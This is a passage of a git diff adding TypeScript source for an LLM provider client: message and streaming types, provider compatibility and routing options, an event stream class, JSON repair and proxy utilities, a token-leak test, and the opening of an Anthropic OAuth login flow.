delay exceeds this value, the request fails immediately + * with an error containing the requested delay, allowing higher-level retry logic + * to handle it with user visibility. + * Default: 60000 (60 seconds). Set to 0 to disable the cap. + */ + maxRetryDelayMs?: number; + /** + * Optional metadata to include in API requests. + * Providers extract the fields they understand and ignore the rest. + * For example, Anthropic uses `user_id` for abuse tracking and rate limiting. + */ + metadata?: Record; +} + +export type ProviderStreamOptions = StreamOptions & Record; + +export interface ImagesOptions { + signal?: AbortSignal; + apiKey?: string; + /** + * Optional callback for inspecting or replacing provider payloads before sending. + * Return undefined to keep the payload unchanged. + */ + onPayload?: (payload: unknown, model: ImagesModel) => MaybePromise; + /** + * Optional callback invoked after an HTTP response is received. + */ + onResponse?: (response: ProviderResponse, model: ImagesModel) => void | Promise; + /** + * Optional custom HTTP headers to include in API requests. + * Merged with provider defaults; can override default headers. + */ + headers?: Record; + /** + * HTTP request timeout in milliseconds for providers/SDKs that support it. + */ + timeoutMs?: number; + /** + * Maximum retry attempts for providers/SDKs that support client-side retries. + */ + maxRetries?: number; + /** + * Maximum delay in milliseconds to wait for a retry when the server requests a long wait. + * If the server's requested delay exceeds this value, the request fails immediately + * with an error containing the requested delay, allowing higher-level retry logic + * to handle it with user visibility. + * Default: 60000 (60 seconds). Set to 0 to disable the cap. + */ + maxRetryDelayMs?: number; + /** + * Optional metadata to include in API requests. + * Providers extract the fields they understand and ignore the rest. + */ + metadata?: Record; +} + +export type ProviderImagesOptions = ImagesOptions & Record; + +// Unified options with reasoning passed to streamSimple() and completeSimple() +export interface SimpleStreamOptions extends StreamOptions { + reasoning?: ThinkingLevel; + /** Custom token budgets for thinking levels (token-based providers only) */ + thinkingBudgets?: ThinkingBudgets; +} + +// Generic StreamFunction with typed options. +// +// Contract: +// - Must return an AssistantMessageEventStream. +// - Once invoked, request/model/runtime failures should be encoded in the +// returned stream, not thrown. +// - Error termination must produce an AssistantMessage with stopReason +// "error" or "aborted" and errorMessage, emitted via the stream protocol. +export type StreamFunction< + TApi extends Api = Api, + TOptions extends StreamOptions = StreamOptions, +> = ( + model: Model, + context: Context, + options?: TOptions, +) => AssistantMessageEventStreamContract; + +export type ImagesFunction< + TApi extends ImagesApi = ImagesApi, + TOptions extends ImagesOptions = ImagesOptions, +> = ( + model: ImagesModel, + context: ImagesContext, + options?: TOptions, +) => Promise; + +export interface TextSignatureV1 { + v: 1; + id: string; + phase?: "commentary" | "final_answer"; +} + +export interface TextContent { + type: "text"; + text: string; + textSignature?: string; // e.g., for OpenAI responses, message metadata (legacy id string or TextSignatureV1 JSON) +} + +export interface ThinkingContent { + type: "thinking"; + thinking: string; + thinkingSignature?: string; // e.g., for OpenAI responses, the reasoning item ID + /** When true, the thinking content was redacted by safety filters. The opaque + * encrypted payload is stored in `thinkingSignature` so it can be passed back + * to the API for multi-turn continuity. */ + redacted?: boolean; +} + +export interface ImageContent { + type: "image"; + data: string; // base64 encoded image data + mimeType: string; // e.g., "image/jpeg", "image/png" +} + +export interface ToolCall { + type: "toolCall"; + id: string; + name: string; + arguments: Record; + thoughtSignature?: string; // Google-specific: opaque signature for reusing thought context +} + +export interface Usage { + input: number; + output: number; + cacheRead: number; + cacheWrite: number; + totalTokens: number; + cost: { + input: number; + output: number; + cacheRead: number; + cacheWrite: number; + total: number; + }; +} + +export type StopReason = "stop" | "length" | "toolUse" | "error" | "aborted"; + +export interface UserMessage { + role: "user"; + content: string | (TextContent | ImageContent)[]; + timestamp: number; // Unix timestamp in milliseconds +} + +export interface AssistantMessage { + role: "assistant"; + content: (TextContent | ThinkingContent | ToolCall)[]; + api: Api; + provider: Provider; + model: string; + responseModel?: string; // Concrete `chunk.model` when different from the requested `model` (e.g. OpenRouter `auto` -> `anthropic/...`) + responseId?: string; // Provider-specific response/message identifier when the upstream API exposes one + diagnostics?: AssistantMessageDiagnostic[]; // Redacted provider/runtime diagnostics for failures and recoveries. + usage: Usage; + stopReason: StopReason; + errorMessage?: string; + timestamp: number; // Unix timestamp in milliseconds +} + +export interface ToolResultMessage { + role: "toolResult"; + toolCallId: string; + toolName: string; + content: (TextContent | ImageContent)[]; // Supports text and images + details?: TDetails; + isError: boolean; + timestamp: number; // Unix timestamp in milliseconds +} + +export type Message = UserMessage | AssistantMessage | ToolResultMessage; + +export type ImagesInputContent = TextContent | ImageContent; +export type ImagesOutputContent = TextContent | ImageContent; + +export interface ImagesContext { + input: ImagesInputContent[]; +} + +export type ImagesStopReason = "stop" | "error" | "aborted"; + +export interface AssistantImages { + api: ImagesApi; + provider: ImagesProvider; + model: string; + output: ImagesOutputContent[]; + responseId?: string; + usage?: Usage; + stopReason: ImagesStopReason; + errorMessage?: string; + timestamp: number; // Unix timestamp in milliseconds +} + +import type { TSchema } from "typebox"; + +export interface Tool { + name: string; + description: string; + parameters: TParameters; +} + +export interface Context { + systemPrompt?: string; + messages: Message[]; + tools?: Tool[]; +} + +/** + * Event protocol for AssistantMessageEventStream. + * + * Streams should emit `start` before partial updates, then terminate with either: + * - `done` carrying the final successful AssistantMessage, or + * - `error` carrying the final AssistantMessage with stopReason "error" or "aborted" + * and errorMessage. + */ +export type AssistantMessageEvent = + | { type: "start"; partial: AssistantMessage } + | { type: "text_start"; contentIndex: number; partial: AssistantMessage } + | { type: "text_delta"; contentIndex: number; delta: string; partial: AssistantMessage } + | { type: "text_end"; contentIndex: number; content: string; partial: AssistantMessage } + | { type: "thinking_start"; contentIndex: number; partial: AssistantMessage } + | { type: "thinking_delta"; contentIndex: number; delta: string; partial: AssistantMessage } + | { type: "thinking_end"; contentIndex: number; content: string; partial: AssistantMessage } + | { type: "toolcall_start"; contentIndex: number; partial: AssistantMessage } + | { type: "toolcall_delta"; contentIndex: number; delta: string; partial: AssistantMessage } + | { type: "toolcall_end"; contentIndex: number; toolCall: ToolCall; partial: AssistantMessage } + | { + type: "done"; + reason: Extract; + message: AssistantMessage; + } + | { type: "error"; reason: Extract; error: AssistantMessage }; + +export interface AssistantMessageEventStreamContract extends AsyncIterable { + push(event: AssistantMessageEvent): void; + end(result?: AssistantMessage): void; + result(): Promise; +} + +/** + * Compatibility settings for OpenAI-compatible completions APIs. + * Use this to override URL-based auto-detection for custom providers. + */ +export interface OpenAICompletionsCompat { + /** Whether the provider supports the `store` field. Default: auto-detected from URL. */ + supportsStore?: boolean; + /** Whether the provider supports the `developer` role (vs `system`). Default: auto-detected from URL. */ + supportsDeveloperRole?: boolean; + /** Whether the provider supports `reasoning_effort`. Default: auto-detected from URL. */ + supportsReasoningEffort?: boolean; + /** Whether the provider supports `stream_options: { include_usage: true }` for token usage in streaming responses. Default: true. */ + supportsUsageInStreaming?: boolean; + /** Which field to use for max tokens. Default: auto-detected from URL. */ + maxTokensField?: "max_completion_tokens" | "max_tokens"; + /** Whether tool results require the `name` field. Default: auto-detected from URL. */ + requiresToolResultName?: boolean; + /** Whether a user message after tool results requires an assistant message in between. Default: auto-detected from URL. */ + requiresAssistantAfterToolResult?: boolean; + /** Whether thinking blocks must be converted to text blocks with delimiters. Default: auto-detected from URL. */ + requiresThinkingAsText?: boolean; + /** Whether all replayed assistant messages must include an empty reasoning_content field when reasoning is enabled. Default: auto-detected from URL. */ + requiresReasoningContentOnAssistantMessages?: boolean; + /** Format for reasoning/thinking parameter. "openai" uses reasoning_effort, "openrouter" uses reasoning: { effort }, "deepseek" uses thinking: { type } plus reasoning_effort, "together" uses reasoning: { enabled } plus reasoning_effort when supported, "zai" uses top-level enable_thinking: boolean, "qwen" uses top-level enable_thinking: boolean, and "qwen-chat-template" uses chat_template_kwargs.enable_thinking. Default: "openai". */ + thinkingFormat?: + | "openai" + | "openrouter" + | "deepseek" + | "together" + | "zai" + | "qwen" + | "qwen-chat-template"; + /** OpenRouter-specific routing preferences. Only used when baseUrl points to OpenRouter. */ + openRouterRouting?: OpenRouterRouting; + /** Vercel AI Gateway routing preferences. Only used when baseUrl points to Vercel AI Gateway. */ + vercelGatewayRouting?: VercelGatewayRouting; + /** Whether z.ai supports top-level `tool_stream: true` for streaming tool call deltas. Default: false. */ + zaiToolStream?: boolean; + /** Whether the provider supports the `strict` field in tool definitions. Default: true. */ + supportsStrictMode?: boolean; + /** Cache control convention for prompt caching. "anthropic" applies Anthropic-style `cache_control` markers to the system prompt, last tool definition, and last user/assistant text content. */ + cacheControlFormat?: "anthropic"; + /** Whether to send known session-affinity headers (`session_id`, `x-client-request-id`, `x-session-affinity`) from `options.sessionId` when caching is enabled. Default: false. */ + sendSessionAffinityHeaders?: boolean; + /** Whether the provider supports long prompt cache retention (`prompt_cache_retention: "24h"` or Anthropic-style `cache_control.ttl: "1h"`, depending on format). Default: true. */ + supportsLongCacheRetention?: boolean; +} + +/** Compatibility settings for OpenAI Responses APIs. */ +export interface OpenAIResponsesCompat { + /** Whether to send the OpenAI `session_id` cache-affinity header from `options.sessionId` when caching is enabled. Default: true. */ + sendSessionIdHeader?: boolean; + /** Whether the provider supports `prompt_cache_retention: "24h"`. Default: true. */ + supportsLongCacheRetention?: boolean; +} + +/** Compatibility settings for Anthropic Messages-compatible APIs. */ +export interface AnthropicMessagesCompat { + /** + * Whether the provider accepts per-tool `eager_input_streaming`. + * When false, the Anthropic provider omits `tools[].eager_input_streaming` + * and sends the legacy `fine-grained-tool-streaming-2025-05-14` beta header + * for tool-enabled requests. + * Default: true. + */ + supportsEagerToolInputStreaming?: boolean; + /** Whether the provider supports Anthropic long cache retention (`cache_control.ttl: "1h"`). Default: true. */ + supportsLongCacheRetention?: boolean; + /** + * Whether to send the `x-session-affinity` header from `options.sessionId` + * when caching is enabled. Required for providers like Fireworks that use + * session affinity for prompt cache routing (requests to the same replica + * maximize cache hits). + * Default: false. + */ + sendSessionAffinityHeaders?: boolean; + /** + * Whether the provider supports Anthropic-style `cache_control` markers on + * tool definitions. When false, `cache_control` is omitted from tool params. + * Some Anthropic-compatible providers (e.g., Fireworks) do not support this + * field on tools and may reject or ignore it. + * Default: true. + */ + supportsCacheControlOnTools?: boolean; +} + +/** + * OpenRouter provider routing preferences. + * Controls which upstream providers OpenRouter routes requests to. + * Sent as the `provider` field in the OpenRouter API request body. + * @see https://openrouter.ai/docs/guides/routing/provider-selection + */ +export interface OpenRouterRouting { + /** Whether to allow backup providers to serve requests. Default: true. */ + allow_fallbacks?: boolean; + /** Whether to filter providers to only those that support all parameters in the request. Default: false. */ + require_parameters?: boolean; + /** Data collection setting. "allow" (default): allow providers that may store/train on data. "deny": only use providers that don't collect user data. */ + data_collection?: "deny" | "allow"; + /** Whether to restrict routing to only ZDR (Zero Data Retention) endpoints. */ + zdr?: boolean; + /** Whether to restrict routing to only models that allow text distillation. */ + enforce_distillable_text?: boolean; + /** An ordered list of provider names/slugs to try in sequence, falling back to the next if unavailable. */ + order?: string[]; + /** List of provider names/slugs to exclusively allow for this request. */ + only?: string[]; + /** List of provider names/slugs to skip for this request. */ + ignore?: string[]; + /** A list of quantization levels to filter providers by (e.g., ["fp16", "bf16", "fp8", "fp6", "int8", "int4", "fp4", "fp32"]). */ + quantizations?: string[]; + /** Sorting strategy. Can be a string (e.g., "price", "throughput", "latency") or an object with `by` and `partition`. */ + sort?: + | string + | { + /** The sorting metric: "price", "throughput", "latency". */ + by?: string; + /** Partitioning strategy: "model" (default) or "none". */ + partition?: string | null; + }; + /** Maximum price per million tokens (USD). */ + max_price?: { + /** Price per million prompt tokens. */ + prompt?: number | string; + /** Price per million completion tokens. */ + completion?: number | string; + /** Price per image. */ + image?: number | string; + /** Price per audio unit. */ + audio?: number | string; + /** Price per request. */ + request?: number | string; + }; + /** Preferred minimum throughput (tokens/second). Can be a number (applies to p50) or an object with percentile-specific cutoffs. */ + preferred_min_throughput?: + | number + | { + /** Minimum tokens/second at the 50th percentile. */ + p50?: number; + /** Minimum tokens/second at the 75th percentile. */ + p75?: number; + /** Minimum tokens/second at the 90th percentile. */ + p90?: number; + /** Minimum tokens/second at the 99th percentile. */ + p99?: number; + }; + /** Preferred maximum latency (seconds). Can be a number (applies to p50) or an object with percentile-specific cutoffs. */ + preferred_max_latency?: + | number + | { + /** Maximum latency in seconds at the 50th percentile. */ + p50?: number; + /** Maximum latency in seconds at the 75th percentile. */ + p75?: number; + /** Maximum latency in seconds at the 90th percentile. */ + p90?: number; + /** Maximum latency in seconds at the 99th percentile. */ + p99?: number; + }; +} + +/** + * Vercel AI Gateway routing preferences. + * Controls which upstream providers the gateway routes requests to. + * @see https://vercel.com/docs/ai-gateway/models-and-providers/provider-options + */ +export interface VercelGatewayRouting { + /** List of provider slugs to exclusively use for this request (e.g., ["bedrock", "anthropic"]). */ + only?: string[]; + /** List of provider slugs to try in order (e.g., ["anthropic", "openai"]). */ + order?: string[]; +} + +// Model interface for the unified model system +export interface Model { + id: string; + name: string; + api: TApi; + provider: Provider; + baseUrl: string; + reasoning: boolean; + /** + * Maps OpenClaw thinking levels to provider/model-specific values. + * Missing keys use provider defaults. null marks a level as unsupported. + */ + thinkingLevelMap?: ThinkingLevelMap; + input: ("text" | "image")[]; + cost: { + input: number; // $/million tokens + output: number; // $/million tokens + cacheRead: number; // $/million tokens + cacheWrite: number; // $/million tokens + }; + contextWindow: number; + maxTokens: number; + headers?: Record; + /** Compatibility overrides for OpenAI-compatible APIs. If not set, auto-detected from baseUrl. */ + compat?: TApi extends "openai-completions" + ? OpenAICompletionsCompat + : TApi extends "openai-responses" + ? OpenAIResponsesCompat + : TApi extends "anthropic-messages" + ? AnthropicMessagesCompat + : never; +} + +export interface ImagesModel extends Omit< + Model, + "api" | "provider" | "reasoning" | "contextWindow" | "maxTokens" | "compat" +> { + api: TApi; + provider: ImagesProvider; + output: ("text" | "image")[]; +} diff --git a/src/llm/utils/diagnostics.ts b/src/llm/utils/diagnostics.ts new file mode 100644 index 00000000000..26db0db39e5 --- /dev/null +++ b/src/llm/utils/diagnostics.ts @@ -0,0 +1,51 @@ +export interface DiagnosticErrorInfo { + name?: string; + message: string; + stack?: string; + code?: string | number; +} + +export interface AssistantMessageDiagnostic { + type: string; + timestamp: number; + error?: DiagnosticErrorInfo; + details?: Record; +} + +export function formatThrownValue(value: unknown): string { + if (value instanceof Error) { + return value.message || value.name; + } + if (typeof value === "string") { + return value; + } + return String(value); +} + +export function extractDiagnosticError(error: unknown): DiagnosticErrorInfo { + if (!(error instanceof Error)) { + return { name: "ThrownValue", message: formatThrownValue(error) }; + } + const code = (error as Error & { code?: unknown }).code; + return { + name: error.name || undefined, + message: error.message || error.name, + stack: error.stack, + code: typeof code === "string" || typeof code === "number" ? code : undefined, + }; +} + +export function createAssistantMessageDiagnostic( + type: string, + error: unknown, + details?: Record, +): AssistantMessageDiagnostic { + return { type, timestamp: Date.now(), error: extractDiagnosticError(error), details }; +} + +export function appendAssistantMessageDiagnostic( + message: { diagnostics?: AssistantMessageDiagnostic[] }, + diagnostic: AssistantMessageDiagnostic, +): void { + message.diagnostics = [...(message.diagnostics ?? []), diagnostic]; +} diff --git a/src/llm/utils/event-stream.ts b/src/llm/utils/event-stream.ts new file mode 100644 index 00000000000..d728de1a446 --- /dev/null +++ b/src/llm/utils/event-stream.ts @@ -0,0 +1,97 @@ +import type { AssistantMessage, AssistantMessageEvent } from "../types.js"; + +// Generic event stream class for async iteration +export class EventStream implements AsyncIterable { + private queue: T[] = []; + private waiting: ((value: IteratorResult) => void)[] = []; + private done = false; + private finalResultPromise: Promise; + private resolveFinalResult!: (result: R) => void; + private isComplete: (event: T) => boolean; + private extractResult: (event: T) => R; + + constructor(isComplete: (event: T) => boolean, extractResult: (event: T) => R) { + this.isComplete = isComplete; + this.extractResult = extractResult; + this.finalResultPromise = new Promise((resolve) => { + this.resolveFinalResult = resolve; + }); + } + + push(event: T): void { + if (this.done) { + return; + } + + if (this.isComplete(event)) { + this.done = true; + this.resolveFinalResult(this.extractResult(event)); + } + + // Deliver to waiting consumer or queue it + const waiter = this.waiting.shift(); + if (waiter) { + waiter({ value: event, done: false }); + } else { + this.queue.push(event); + } + } + + end(result?: R): void { + this.done = true; + if (result !== undefined) { + this.resolveFinalResult(result); + } + // Notify all waiting consumers that we're done + while (this.waiting.length > 0) { + const waiter = this.waiting.shift()!; + waiter({ value: undefined as unknown, done: true }); + } + } + + async *[Symbol.asyncIterator](): AsyncIterator { + while (true) { + if (this.queue.length > 0) { + yield this.queue.shift()!; + } else if (this.done) { + return; + } else { + const result = await new Promise>((resolve) => + this.waiting.push(resolve), + ); + if (result.done) { + return; + } + yield result.value; + } + } + } + + result(): Promise { + return this.finalResultPromise; + } +} + +export class AssistantMessageEventStream extends EventStream< + AssistantMessageEvent, + AssistantMessage +> { + constructor() { + super( + (event) => event.type === "done" || event.type === "error", + (event) => { + if (event.type === "done") { + return event.message; + } else if (event.type === "error") { + return event.error; + } + throw new Error("Unexpected event type for final result"); + }, + ); + } +} + +/** Factory function for AssistantMessageEventStream (for use in extensions) */ +export function createAssistantMessageEventStream(): AssistantMessageEventStream { + return new AssistantMessageEventStream(); +} diff --git a/src/llm/utils/hash.ts b/src/llm/utils/hash.ts new file mode 100644 index 00000000000..3406e201275 --- /dev/null +++ b/src/llm/utils/hash.ts @@ -0,0 +1,13 @@ +/** Fast deterministic hash to shorten long strings */ +export function shortHash(str: string): string { + let h1 = 0xdeadbeef; + let h2 = 0x41c6ce57; + for (let i = 0; i < str.length; i++) { + const ch = str.charCodeAt(i); + h1 = Math.imul(h1 ^ ch, 2654435761); + h2 = Math.imul(h2 ^ ch, 1597334677); + } + h1 = Math.imul(h1 ^ (h1 >>> 16), 2246822507) ^ Math.imul(h2 ^ (h2 >>> 13), 3266489909); + h2 = Math.imul(h2 ^ (h2 >>> 16), 2246822507) ^ Math.imul(h1 ^ (h1 >>> 13), 3266489909); + return (h2 >>> 0).toString(36) + (h1 >>> 0).toString(36); +} diff --git a/src/llm/utils/headers.ts b/src/llm/utils/headers.ts new file mode 100644 index 00000000000..521f03c48f0 --- /dev/null +++ b/src/llm/utils/headers.ts @@ -0,0 +1,7 @@ +export function headersToRecord(headers: Headers): Record { + const result: Record = {}; + for (const [key, value] of headers.entries()) { + result[key] = value; + } + return result; +} diff --git a/src/llm/utils/json-parse.ts b/src/llm/utils/json-parse.ts new file mode 100644 index 00000000000..61a4ad7bdcb --- /dev/null +++ b/src/llm/utils/json-parse.ts @@ -0,0 +1,124 @@ +import { parse as partialParse } from "partial-json"; + +const VALID_JSON_ESCAPES = new Set(['"', "\\", "/", "b", "f", "n", "r", "t", "u"]); + +function isControlCharacter(char: string): boolean { + const codePoint = char.codePointAt(0); + return codePoint !== undefined && codePoint >= 0x00 && codePoint <= 0x1f; +} + +function escapeControlCharacter(char: string): string { + switch (char) { + case "\b": + return "\\b"; + case "\f": + return "\\f"; + case "\n": + return "\\n"; + case "\r": + return "\\r"; + case "\t": + return "\\t"; + default: + return `\\u${char.codePointAt(0)?.toString(16).padStart(4, "0") ?? "0000"}`; + } +} + +/** + * Repairs malformed JSON string literals by: + * - escaping raw control characters inside strings + * - doubling backslashes before invalid escape characters + */ +export function repairJson(json: string): string { + let repaired = ""; + let inString = false; + + for (let index = 0; index < json.length; index++) { + const char = json[index]; + + if (!inString) { + repaired += char; + if (char === '"') { + inString = true; + } + continue; + } + + if (char === '"') { + repaired += char; + inString = false; + continue; + } + + if (char === "\\") { + const nextChar = json[index + 1]; + if (nextChar === undefined) { + repaired += "\\\\"; + continue; + } + + if (nextChar === "u") { + const unicodeDigits = json.slice(index + 2, index + 6); + if (/^[0-9a-fA-F]{4}$/.test(unicodeDigits)) { + repaired += `\\u${unicodeDigits}`; + index += 5; + continue; + } + } + + if (VALID_JSON_ESCAPES.has(nextChar)) { + repaired += `\\${nextChar}`; + index += 1; + continue; + } + + repaired += "\\\\"; + continue; + } + + repaired += isControlCharacter(char) ? escapeControlCharacter(char) : char; + } + + return repaired; +} + +export function parseJsonWithRepair(json: string): unknown { + try { + return JSON.parse(json) as unknown; + } catch (error) { + const repairedJson = repairJson(json); + if (repairedJson !== json) { + return JSON.parse(repairedJson) as unknown; + } + throw error; + } +} + +/** + * Attempts to parse potentially incomplete JSON during streaming. + * Always returns a valid object, even if the JSON is incomplete. + * + * @param partialJson The partial JSON string from streaming + * @returns Parsed object or empty object if parsing fails + */ +export function parseStreamingJson(partialJson: string | undefined): Record { + if (!partialJson || partialJson.trim() === "") { + return {}; + } + + try { + return parseJsonWithRepair(partialJson) as Record; + } catch { + try { + const result = partialParse(partialJson); + return (result ?? {}) as Record; + } catch { + try { + const result = partialParse(repairJson(partialJson)); + return (result ?? {}) as Record; + } catch { + return {}; + } + } + } +} diff --git a/src/llm/utils/node-http-proxy.ts b/src/llm/utils/node-http-proxy.ts new file mode 100644 index 00000000000..836725051dc --- /dev/null +++ b/src/llm/utils/node-http-proxy.ts @@ -0,0 +1,126 @@ +import type { Agent as HttpAgent } from "node:http"; +import type { Agent as HttpsAgent } from "node:https"; +import { HttpProxyAgent } from "http-proxy-agent"; +import { HttpsProxyAgent } from "https-proxy-agent"; + +const DEFAULT_PROXY_PORTS: Record = { + ftp: 21, + gopher: 70, + http: 80, + https: 443, + ws: 80, + wss: 443, +}; + +export interface NodeHttpProxyAgents { + httpAgent: HttpAgent; + httpsAgent: HttpsAgent; +} + +export const UNSUPPORTED_PROXY_PROTOCOL_MESSAGE = + "Unsupported proxy protocol. SOCKS and PAC proxy URLs are not supported; use an HTTP or HTTPS proxy URL."; + +function getProxyEnv(key: string): string { + return process.env[key.toLowerCase()] || process.env[key.toUpperCase()] || ""; +} + +function parseProxyTargetUrl(targetUrl: string | URL): URL | undefined { + if (targetUrl instanceof URL) { + return targetUrl; + } + + try { + return new URL(targetUrl); + } catch { + return undefined; + } +} + +function shouldProxyHostname(hostname: string, port: number): boolean { + const noProxy = getProxyEnv("no_proxy").toLowerCase(); + if (!noProxy) { + return true; + } + if (noProxy === "*") { + return false; + } + + return noProxy.split(/[,\s]/).every((proxy) => { + if (!proxy) { + return true; + } + + const parsedProxy = proxy.match(/^(.+):(\d+)$/); + let proxyHostname = parsedProxy ? parsedProxy[1] : proxy; + const proxyPort = parsedProxy ? Number.parseInt(parsedProxy[2], 10) : 0; + if (proxyPort && proxyPort !== port) { + return true; + } + + if (!/^[.*]/.test(proxyHostname)) { + return hostname !== proxyHostname; + } + + if (proxyHostname.startsWith("*")) { + proxyHostname = proxyHostname.slice(1); + } + return !hostname.endsWith(proxyHostname); + }); +} + +function getProxyForUrl(targetUrl: string | URL): string { + const parsedUrl = parseProxyTargetUrl(targetUrl); + if (!parsedUrl?.protocol || !parsedUrl.host) { + return ""; + } + + const protocol = parsedUrl.protocol.split(":", 1)[0]; + const hostname = parsedUrl.host.replace(/:\d*$/, ""); + const port = Number.parseInt(parsedUrl.port, 10) || DEFAULT_PROXY_PORTS[protocol] || 0; + if (!shouldProxyHostname(hostname, port)) { + return ""; + } + + let proxy = getProxyEnv(`${protocol}_proxy`) || getProxyEnv("all_proxy"); + if (proxy && !proxy.includes("://")) { + proxy = `${protocol}://${proxy}`; + } + return proxy; +} + +export function resolveHttpProxyUrlForTarget(targetUrl: string | URL): URL | undefined { + const proxy = getProxyForUrl(targetUrl); + if (!proxy) { + return undefined; + } + + let proxyUrl: URL; + try { + proxyUrl = new URL(proxy); + } catch (error) { + throw new Error( + `Invalid proxy URL ${JSON.stringify(proxy)}: ${error instanceof Error ? error.message : String(error)}`, + { cause: error }, + ); + } + + if (proxyUrl.protocol !== "http:" && proxyUrl.protocol !== "https:") { + throw new Error(`${UNSUPPORTED_PROXY_PROTOCOL_MESSAGE} Got ${proxyUrl.protocol}`); + } + + return proxyUrl; +} + +export function createHttpProxyAgentsForTarget( + targetUrl: string | URL, +): NodeHttpProxyAgents | undefined { + const proxyUrl = resolveHttpProxyUrlForTarget(targetUrl); + if (!proxyUrl) { + return undefined; + } + + return { + httpAgent: new HttpProxyAgent(proxyUrl), + httpsAgent: new HttpsProxyAgent(proxyUrl) as unknown as HttpsAgent, + }; +} diff --git a/src/llm/utils/oauth/anthropic.test.ts b/src/llm/utils/oauth/anthropic.test.ts new file mode 100644 index 00000000000..f989cd31576 --- /dev/null +++ b/src/llm/utils/oauth/anthropic.test.ts @@ -0,0 +1,36 @@ +import { afterEach, describe, expect, it, vi } from "vitest"; +import { refreshAnthropicToken } from "./anthropic.js"; + +afterEach(() => { + vi.unstubAllGlobals(); +}); + +describe("Anthropic OAuth token responses", () => { + it("does not echo token payload values when refresh JSON parsing fails", async () => { + vi.stubGlobal( + "fetch", + vi.fn( + async () => + new Response('{"access_token":"secret-access-token","refresh_token":"secret-refresh"', { + status: 200, + }), + ), + ); + + await expect(refreshAnthropicToken("old-refresh-token")).rejects.toThrow( + "Anthropic token refresh returned invalid JSON.", + ); + + try { + await refreshAnthropicToken("old-refresh-token"); + throw new Error("Expected refresh to fail"); + } catch (error) { + const message = error instanceof Error ? error.message : String(error); + expect(message).not.toContain("secret-access-token"); + expect(message).not.toContain("secret-refresh"); + expect(message).not.toContain("access_token"); + expect(message).not.toContain("refresh_token"); + expect(message).toContain("bodyBytes="); + } + }); +}); diff --git a/src/llm/utils/oauth/anthropic.ts b/src/llm/utils/oauth/anthropic.ts new file mode 100644 index 00000000000..bdba620e64f --- /dev/null +++ b/src/llm/utils/oauth/anthropic.ts @@ -0,0 +1,440 @@ +/** + * Anthropic OAuth flow (Claude Pro/Max) + * + * NOTE: This module uses Node.js http.createServer for the OAuth callback server. + * It is only intended for CLI use, not browser environments. + */ + +import type { Server } from "node:http"; +import { oauthErrorHtml, oauthSuccessHtml } from "./oauth-page.js"; +import { generateOAuthState, generatePKCE } from "./pkce.js"; +import type { + OAuthCredentials, + OAuthLoginCallbacks, + OAuthPrompt, + OAuthProviderInterface, +} from "./types.js"; + +type CallbackServerInfo = { + server: Server; + redirectUri: string; + cancelWait: () => void; + waitForCode: () => Promise<{ code: string; state: string } | null>; +}; + +type NodeApis = { + createServer: typeof import("node:http").createServer; +}; + +let nodeApis: NodeApis | null = null; +let nodeApisPromise: Promise | null = null; + +const decode = (s: string) => atob(s); +const CLIENT_ID = decode("OWQxYzI1MGEtZTYxYi00NGQ5LTg4ZWQtNTk0NGQxOTYyZjVl"); +const AUTHORIZE_URL = "https://claude.ai/oauth/authorize"; +const TOKEN_URL = "https://platform.claude.com/v1/oauth/token"; +const CALLBACK_HOST = process.env.OPENCLAW_OAUTH_CALLBACK_HOST || "127.0.0.1"; +const CALLBACK_PORT = 53692; +const CALLBACK_PATH = "/callback"; +const REDIRECT_URI = `http://localhost:${CALLBACK_PORT}${CALLBACK_PATH}`; +const SCOPES = + "org:create_api_key user:profile user:inference user:sessions:claude_code user:mcp_servers user:file_upload"; +async function getNodeApis(): Promise { + if (nodeApis) { + return nodeApis; + } + if (!nodeApisPromise) { + if (typeof process === "undefined" || (!process.versions?.node && !process.versions?.bun)) { + throw new Error("Anthropic OAuth is only available in Node.js environments"); + } + nodeApisPromise = import("node:http").then((httpModule) => ({ + createServer: httpModule.createServer, + })); + } + nodeApis = await nodeApisPromise; + return nodeApis; +} + +function parseAuthorizationInput(input: string): { code?: string; state?: string } { + const value = input.trim(); + if (!value) { + return {}; + } + + try { + const url = new URL(value); + return { + code: url.searchParams.get("code") ?? undefined, + state: url.searchParams.get("state") ?? undefined, + }; + } catch { + // not a URL + } + + if (value.includes("#")) { + const [code, state] = value.split("#", 2); + return { code, state }; + } + + if (value.includes("code=")) { + const params = new URLSearchParams(value); + return { + code: params.get("code") ?? undefined, + state: params.get("state") ?? undefined, + }; + } + + return { code: value }; +} + +function formatErrorDetails(error: unknown): string { + if (error instanceof Error) { + const details: string[] = [`${error.name}: ${error.message}`]; + const errorWithCode = error as Error & { + code?: string; + errno?: number | string; + cause?: unknown; + }; + if (errorWithCode.code) { + details.push(`code=${errorWithCode.code}`); + } + if (errorWithCode.errno !== undefined) { + details.push(`errno=${String(errorWithCode.errno)}`); + } + if (error.cause !== undefined) { + details.push(`cause=${formatErrorDetails(error.cause)}`); + } + if (error.stack) { + details.push(`stack=${error.stack}`); + } + return details.join("; "); + } + return String(error); +} + +function formatTokenResponseParseContext(responseBody: string): string { + return `bodyBytes=${Buffer.byteLength(responseBody, "utf8")}`; +} + +async function startCallbackServer(expectedState: string): Promise { + const { createServer } = await getNodeApis(); + + return new Promise((resolve, reject) => { + let settleWait: ((value: { code: string; state: string } | null) => void) | undefined; + const waitForCodePromise = new Promise<{ code: string; state: string } | null>( + (resolveWait) => { + let settled = false; + settleWait = (value) => { + if (settled) { + return; + } + settled = true; + resolveWait(value); + }; + }, + ); + + const server = createServer((req, res) => { + try { + const url = new URL(req.url || "", "http://localhost"); + if (url.pathname !== CALLBACK_PATH) { + res.writeHead(404, { "Content-Type": "text/html; charset=utf-8" }); + res.end(oauthErrorHtml("Callback route not found.")); + return; + } + + const code = url.searchParams.get("code"); + const state = url.searchParams.get("state"); + const error = url.searchParams.get("error"); + + if (error) { + res.writeHead(400, { "Content-Type": "text/html; charset=utf-8" }); + res.end(oauthErrorHtml("Anthropic authentication did not complete.", `Error: ${error}`)); + return; + } + + if (!code || !state) { + res.writeHead(400, { "Content-Type": "text/html; charset=utf-8" }); + res.end(oauthErrorHtml("Missing code or state parameter.")); + return; + } + + if (state !== expectedState) { + res.writeHead(400, { "Content-Type": "text/html; charset=utf-8" }); + res.end(oauthErrorHtml("State mismatch.")); + return; + } + + res.writeHead(200, { "Content-Type": "text/html; charset=utf-8" }); + res.end(oauthSuccessHtml("Anthropic authentication completed. You can close this window.")); + settleWait?.({ code, state }); + } catch { + res.writeHead(500, { "Content-Type": "text/plain; charset=utf-8" }); + res.end("Internal error"); + } + }); + + server.on("error", (err) => { + reject(err); + }); + + server.listen(CALLBACK_PORT, CALLBACK_HOST, () => { + resolve({ + server, + redirectUri: 